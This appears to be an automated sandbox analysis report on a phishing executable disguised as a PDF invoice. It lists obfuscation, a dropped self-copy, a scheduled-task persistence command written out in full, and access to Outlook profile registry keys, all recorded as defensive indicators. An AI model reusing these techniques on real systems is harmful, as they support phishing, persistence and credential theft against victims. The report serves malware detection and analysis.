File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Proforma Invoice_21-1541 And Packing List.pdf.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Proforma Invoice_21-1541 And Packing List.pdf.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: Proforma Invoice_21-1541 And Packing List.pdf.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: eIf.pdbSHA256 source: Proforma Invoice_21-1541 And Packing List.pdf.exe, vrhZELiHpiub.exe.0.dr
Source:	Binary string: System.Windows.Forms.pdb source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1769386708.0000000000B22000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdbt source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1769386708.0000000000B22000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.pdb source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1769386708.0000000000B22000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: eIf.pdb source: Proforma Invoice_21-1541 And Packing List.pdf.exe, vrhZELiHpiub.exe.0.dr

Data Obfuscation

.NET source code contains potential unpacker

Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, Form1.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: vrhZELiHpiub.exe.0.dr, Form1.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.39db8e0.2.raw.unpack, wvrdGM0ZpKZGfbxjQ7.cs	.Net Code: ptqj3ZhkUb System.Reflection.Assembly.Load(byte[])
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.73f0000.6.raw.unpack, wvrdGM0ZpKZGfbxjQ7.cs	.Net Code: ptqj3ZhkUb System.Reflection.Assembly.Load(byte[])

Source: Proforma Invoice_21-1541 And Packing List.pdf.exe

Static PE information: 0xB1944EA2 [Thu May 29 11:38:10 2064 UTC]

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_053C6DBE push es; ret	0_2_053C6DBF
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_0B06D5A0 push es; ret	0_2_0B06D5B0
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_0269891E pushad ; iretd	9_2_0269891F
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_02698C2F pushfd ; iretd	9_2_02698C30
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_02698DDF push esp; iretd	9_2_02698DE0
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 9_2_06582DBE pushfd ; retf	9_2_06582DC1
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_0111891E pushad ; iretd	13_2_0111891F
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_01118DDF push esp; iretd	13_2_01118DE0
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 13_2_01118C2F pushfd ; iretd	13_2_01118C30

Source: Proforma Invoice_21-1541 And Packing List.pdf.exe	Static PE information: section name: .text entropy: 7.8740976110674445
Source: vrhZELiHpiub.exe.0.dr	Static PE information: section name: .text entropy: 7.8740976110674445

Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.39db8e0.2.raw.unpack, mhimEujUKu7M0BJFWx.cs	High entropy of concatenated method names: 'TmQEu9CVxT', 'YZbE0L9COx', 'ieGErveFRZ', 'HH2EBXpk8c', 'o9PEZeZkXd', 'lbsEoTWAme', 'JanQInV25FumL089oA', 'K4pxPZ1gMOW0eirJIU', 'rpDEEeOXiT', 'tpKEpX9L3B'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.39db8e0.2.raw.unpack, DALH0Ea91JySiQTHL0.cs	High entropy of concatenated method names: 'qiPVUAHgNa', 'uKTVqEFScy', 'Nma6D1oaLx', 'jJ16EutHxf', 'DBHV5iv5Im', 'I0QVyJBNjK', 'oFDVlvhGUR', 'k7KVHZ074d', 'jPgVsJsy0q', 'HZDVbuIwoM'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.39db8e0.2.raw.unpack, h95BIkejnF9uJ8Ra5v.cs	High entropy of concatenated method names: 'MZyuCUWfDg', 'ttIuNmGNkX', 'Lkpu3FGv8w', 'mXBuTksGZR', 'sgMuQt0RtC', 'l2fuAcInD7', 'VQju40IKNa', 'z9wuWNkump', 'fsjuv5KG2D', 'kiiuwRampG'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.39db8e0.2.raw.unpack, Y3k9dO2eMLXGNq5ySi.cs	High entropy of concatenated method names: 'lZI6Ifod5k', 'PKB6x9W0pw', 'zyg6RKypGt', 'hxY6tvJdKI', 'jw26H9950v', 'R5P61HpwAL', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.39db8e0.2.raw.unpack, B9CVxTWqZbL9COxYSC.cs	High entropy of concatenated method names: 'ARVGHI5TDq', 'ch1GseZ7pl', 'H8BGbK7qdj', 'CE7GgmITns', 'tP0GSK4mXD', 'g2sGaI4QgJ', 'ub0GkbJ6Mp', 'DamGUTA5Yv', 'qfeG2if0Kf', 'HsDGq4LQAX'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.39db8e0.2.raw.unpack, VXdFbsITWAmen4IAUk.cs	High entropy of concatenated method names: 'lppKhvt69n', 'jI0KGwBlqb', 'EPxKY0T4a6', 'AhRKujZwqt', 'HVqK0KbWe6', 'do1YSFtIOy', 'ihxYaD9pa3', 'Ij9YkZALfV', 'iV5YU73sf2', 'Ik7Y2Xe9FD'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.39db8e0.2.raw.unpack, svHqcNluLpvGPX5ECE.cs	High entropy of concatenated method names: 'Bdp9W7gyeg', 'fUs9vTMmxI', 'PxE9IsdxRJ', 'HlB9xTkFnb', 'GI29ta2eW4', 'Ju491GXMCr', 'SaH9PWyqvq', 'pbg9JfYDgw', 'C0Z98ocJLy', 'YdY95H71NY'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.39db8e0.2.raw.unpack, R6t6WaEpRUJ1DtPHOLl.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'dPbdHhnqyy', 'INUdss5pj8', 'uWwdbmGEmR', 'BjjdgN3JDE', 'MhTdSu989h', 'cUZdaccBtv', 'Rp6dkYRZ8A'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.39db8e0.2.raw.unpack, wvrdGM0ZpKZGfbxjQ7.cs	High entropy of concatenated method names: 'nH8phE8rwk', 'oeTpM1O1A7', 'mU4pG6qJmw', 'felpmSeUdG', 'uAlpYFPXtO', 'Kt3pKXI8BJ', 'NPnpuNfCgd', 'N1pp03OVpY', 'neupFx2aBY', 'nI6prEkTRp'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.39db8e0.2.raw.unpack, gQF5JWzxeqciQn3QRX.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'IjWL9n974P', 'wv1LZkqgmv', 'o56LoKkkya', 'XkjLVkH1C8', 'WkUL6TIXkw', 'f9VLLKcNvy', 'tvILdAc8SF'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.39db8e0.2.raw.unpack, dJ1K2TPU4XV9kX0MnP.cs	High entropy of concatenated method names: 'wpluM678MY', 'vktumfy8hx', 'rV9uKnrUch', 'VpMKqJ6613', 'xE5KzruSsR', 'HC7uDZvtjZ', 'ytYuEKJOME', 'j3ruXOC3oR', 'jR1upWFTbY', 'gC5ujIruZ0'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.39db8e0.2.raw.unpack, cqvD2IEDHLfDgyRi5C4.cs	High entropy of concatenated method names: 'HUJLCYWxkD', 'IdtLNZ65lE', 'KTvL3MLaVu', 'w4ZLTEnqJU', 'UhdLQadhIR', 'dseLAdooKw', 'sPoL4gyp5G', 'dG6LWZNQP2', 'YUOLv4M4fi', 'pRhLwrZ2If'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.39db8e0.2.raw.unpack, EdDmpYveGveFRZxH2X.cs	High entropy of concatenated method names: 'fwdmTs3sZq', 'oMAmAjrd3r', 'Cf1mWeLpNW', 'IJCmvsqWft', 'A8smZJNCCT', 'jnCmoNKf6b', 'kJjmVafF5B', 'MwYm60qUE9', 'NUlmLsEbet', 'aCnmd9pdbJ'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.39db8e0.2.raw.unpack, J9uZ9VGmLkAX4WoGMQ.cs	High entropy of concatenated method names: 'Dispose', 'RA1E2dsbBt', 'osYXxM1qfb', 'cJ3TTTtPgj', 'pbREqeNumf', 'TDuEzDWi6Z', 'ProcessDialogKey', 'RZqXD3k9dO', 'MMLXEXGNq5', 'PSiXXPC64s'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.39db8e0.2.raw.unpack, SQmkrkXI5yYejD0L3X.cs	High entropy of concatenated method names: 'XV831sTYu', 'qR5TWjoAc', 'JulAJ0P6A', 'KKP4EqEVM', 'j0OvcCwOI', 'IxDwAp7KD', 'cW4o8oKwU3n6ZuRc7Z', 'Hx5op5iCGsk4A9lUfN', 'h8ohfg78I68Hy72krF', 'XhP6rgrr2'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.39db8e0.2.raw.unpack, tsnEr4m4SyVHvMYCMe.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'g2LX2XCtMw', 'TUwXqS76Nf', 'YdjXz2O4ab', 'KBopDMGllN', 'gDwpEXfAZB', 'Ws5pXdvMqP', 'V6wpp1TM8L', 'W5QNXXOrGAIe4pDmxl0'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.39db8e0.2.raw.unpack, KC64sAqGbrjZe1662T.cs	High entropy of concatenated method names: 'n02LEIKBJ9', 'iqOLpvY8k1', 'n9dLjojpJR', 'VMmLM1jI2k', 'f9ELGE4Ldb', 'V3TLYjRlEf', 'MxILKCYp8P', 'Rd46kpRpfr', 'A2Z6UoB5aC', 'WlG62mIZek'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.39db8e0.2.raw.unpack, eQjOTlbmmrvKchYnEJ.cs	High entropy of concatenated method names: 'ToString', 'k9do5wHINY', 'Mkwox1ZIo3', 'jLdoRF6P6Q', 'PbeotxFfWF', 'HQyo1ZY8nl', 'yL3ocd56Ve', 'pHsoP2GfLo', 'ueLoJImfH0', 'MZaoept2FS'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.39db8e0.2.raw.unpack, ck8cvCwbqF41UZ9PeZ.cs	High entropy of concatenated method names: 'DF0YQ7huA3', 'Ua2Y4wJmbY', 'E2FmRvxbhN', 'PFhmtxywhv', 'uHqm1pMIFO', 'Uoumc1lq13', 'P6HmPGWDx1', 'k9nmJk4LOn', 'k6xmeqbH6T', 'kbtm81lHJV'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.39db8e0.2.raw.unpack, SReNumUfgDuDWi6ZHZ.cs	High entropy of concatenated method names: 'Hbw6MuU5xc', 'VyE6GGj0L4', 'vB16m1iLjm', 'udm6YRNeV1', 'byl6KgM6gH', 'cQl6u4JH2u', 'Jxo60VRhcV', 'g2j6FPU3qw', 'awh6rP2ZIj', 'rRU6BfLM23'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.73f0000.6.raw.unpack, mhimEujUKu7M0BJFWx.cs	High entropy of concatenated method names: 'TmQEu9CVxT', 'YZbE0L9COx', 'ieGErveFRZ', 'HH2EBXpk8c', 'o9PEZeZkXd', 'lbsEoTWAme', 'JanQInV25FumL089oA', 'K4pxPZ1gMOW0eirJIU', 'rpDEEeOXiT', 'tpKEpX9L3B'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.73f0000.6.raw.unpack, DALH0Ea91JySiQTHL0.cs	High entropy of concatenated method names: 'qiPVUAHgNa', 'uKTVqEFScy', 'Nma6D1oaLx', 'jJ16EutHxf', 'DBHV5iv5Im', 'I0QVyJBNjK', 'oFDVlvhGUR', 'k7KVHZ074d', 'jPgVsJsy0q', 'HZDVbuIwoM'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.73f0000.6.raw.unpack, h95BIkejnF9uJ8Ra5v.cs	High entropy of concatenated method names: 'MZyuCUWfDg', 'ttIuNmGNkX', 'Lkpu3FGv8w', 'mXBuTksGZR', 'sgMuQt0RtC', 'l2fuAcInD7', 'VQju40IKNa', 'z9wuWNkump', 'fsjuv5KG2D', 'kiiuwRampG'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.73f0000.6.raw.unpack, Y3k9dO2eMLXGNq5ySi.cs	High entropy of concatenated method names: 'lZI6Ifod5k', 'PKB6x9W0pw', 'zyg6RKypGt', 'hxY6tvJdKI', 'jw26H9950v', 'R5P61HpwAL', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.73f0000.6.raw.unpack, B9CVxTWqZbL9COxYSC.cs	High entropy of concatenated method names: 'ARVGHI5TDq', 'ch1GseZ7pl', 'H8BGbK7qdj', 'CE7GgmITns', 'tP0GSK4mXD', 'g2sGaI4QgJ', 'ub0GkbJ6Mp', 'DamGUTA5Yv', 'qfeG2if0Kf', 'HsDGq4LQAX'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.73f0000.6.raw.unpack, VXdFbsITWAmen4IAUk.cs	High entropy of concatenated method names: 'lppKhvt69n', 'jI0KGwBlqb', 'EPxKY0T4a6', 'AhRKujZwqt', 'HVqK0KbWe6', 'do1YSFtIOy', 'ihxYaD9pa3', 'Ij9YkZALfV', 'iV5YU73sf2', 'Ik7Y2Xe9FD'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.73f0000.6.raw.unpack, svHqcNluLpvGPX5ECE.cs	High entropy of concatenated method names: 'Bdp9W7gyeg', 'fUs9vTMmxI', 'PxE9IsdxRJ', 'HlB9xTkFnb', 'GI29ta2eW4', 'Ju491GXMCr', 'SaH9PWyqvq', 'pbg9JfYDgw', 'C0Z98ocJLy', 'YdY95H71NY'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.73f0000.6.raw.unpack, R6t6WaEpRUJ1DtPHOLl.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'dPbdHhnqyy', 'INUdss5pj8', 'uWwdbmGEmR', 'BjjdgN3JDE', 'MhTdSu989h', 'cUZdaccBtv', 'Rp6dkYRZ8A'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.73f0000.6.raw.unpack, wvrdGM0ZpKZGfbxjQ7.cs	High entropy of concatenated method names: 'nH8phE8rwk', 'oeTpM1O1A7', 'mU4pG6qJmw', 'felpmSeUdG', 'uAlpYFPXtO', 'Kt3pKXI8BJ', 'NPnpuNfCgd', 'N1pp03OVpY', 'neupFx2aBY', 'nI6prEkTRp'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.73f0000.6.raw.unpack, gQF5JWzxeqciQn3QRX.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'IjWL9n974P', 'wv1LZkqgmv', 'o56LoKkkya', 'XkjLVkH1C8', 'WkUL6TIXkw', 'f9VLLKcNvy', 'tvILdAc8SF'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.73f0000.6.raw.unpack, dJ1K2TPU4XV9kX0MnP.cs	High entropy of concatenated method names: 'wpluM678MY', 'vktumfy8hx', 'rV9uKnrUch', 'VpMKqJ6613', 'xE5KzruSsR', 'HC7uDZvtjZ', 'ytYuEKJOME', 'j3ruXOC3oR', 'jR1upWFTbY', 'gC5ujIruZ0'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.73f0000.6.raw.unpack, cqvD2IEDHLfDgyRi5C4.cs	High entropy of concatenated method names: 'HUJLCYWxkD', 'IdtLNZ65lE', 'KTvL3MLaVu', 'w4ZLTEnqJU', 'UhdLQadhIR', 'dseLAdooKw', 'sPoL4gyp5G', 'dG6LWZNQP2', 'YUOLv4M4fi', 'pRhLwrZ2If'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.73f0000.6.raw.unpack, EdDmpYveGveFRZxH2X.cs	High entropy of concatenated method names: 'fwdmTs3sZq', 'oMAmAjrd3r', 'Cf1mWeLpNW', 'IJCmvsqWft', 'A8smZJNCCT', 'jnCmoNKf6b', 'kJjmVafF5B', 'MwYm60qUE9', 'NUlmLsEbet', 'aCnmd9pdbJ'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.73f0000.6.raw.unpack, J9uZ9VGmLkAX4WoGMQ.cs	High entropy of concatenated method names: 'Dispose', 'RA1E2dsbBt', 'osYXxM1qfb', 'cJ3TTTtPgj', 'pbREqeNumf', 'TDuEzDWi6Z', 'ProcessDialogKey', 'RZqXD3k9dO', 'MMLXEXGNq5', 'PSiXXPC64s'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.73f0000.6.raw.unpack, SQmkrkXI5yYejD0L3X.cs	High entropy of concatenated method names: 'XV831sTYu', 'qR5TWjoAc', 'JulAJ0P6A', 'KKP4EqEVM', 'j0OvcCwOI', 'IxDwAp7KD', 'cW4o8oKwU3n6ZuRc7Z', 'Hx5op5iCGsk4A9lUfN', 'h8ohfg78I68Hy72krF', 'XhP6rgrr2'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.73f0000.6.raw.unpack, tsnEr4m4SyVHvMYCMe.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'g2LX2XCtMw', 'TUwXqS76Nf', 'YdjXz2O4ab', 'KBopDMGllN', 'gDwpEXfAZB', 'Ws5pXdvMqP', 'V6wpp1TM8L', 'W5QNXXOrGAIe4pDmxl0'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.73f0000.6.raw.unpack, KC64sAqGbrjZe1662T.cs	High entropy of concatenated method names: 'n02LEIKBJ9', 'iqOLpvY8k1', 'n9dLjojpJR', 'VMmLM1jI2k', 'f9ELGE4Ldb', 'V3TLYjRlEf', 'MxILKCYp8P', 'Rd46kpRpfr', 'A2Z6UoB5aC', 'WlG62mIZek'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.73f0000.6.raw.unpack, eQjOTlbmmrvKchYnEJ.cs	High entropy of concatenated method names: 'ToString', 'k9do5wHINY', 'Mkwox1ZIo3', 'jLdoRF6P6Q', 'PbeotxFfWF', 'HQyo1ZY8nl', 'yL3ocd56Ve', 'pHsoP2GfLo', 'ueLoJImfH0', 'MZaoept2FS'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.73f0000.6.raw.unpack, ck8cvCwbqF41UZ9PeZ.cs	High entropy of concatenated method names: 'DF0YQ7huA3', 'Ua2Y4wJmbY', 'E2FmRvxbhN', 'PFhmtxywhv', 'uHqm1pMIFO', 'Uoumc1lq13', 'P6HmPGWDx1', 'k9nmJk4LOn', 'k6xmeqbH6T', 'kbtm81lHJV'
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.73f0000.6.raw.unpack, SReNumUfgDuDWi6ZHZ.cs	High entropy of concatenated method names: 'Hbw6MuU5xc', 'VyE6GGj0L4', 'vB16m1iLjm', 'udm6YRNeV1', 'byl6KgM6gH', 'cQl6u4JH2u', 'Jxo60VRhcV', 'g2j6FPU3qw', 'awh6rP2ZIj', 'rRU6BfLM23'

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

File created: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vrhZELiHpiub" /XML "C:\Users\user\AppData\Local\Temp\tmp5F82.tmp"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: pdf.exe

Static PE information: Proforma Invoice_21-1541 And Packing List.pdf.exe

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
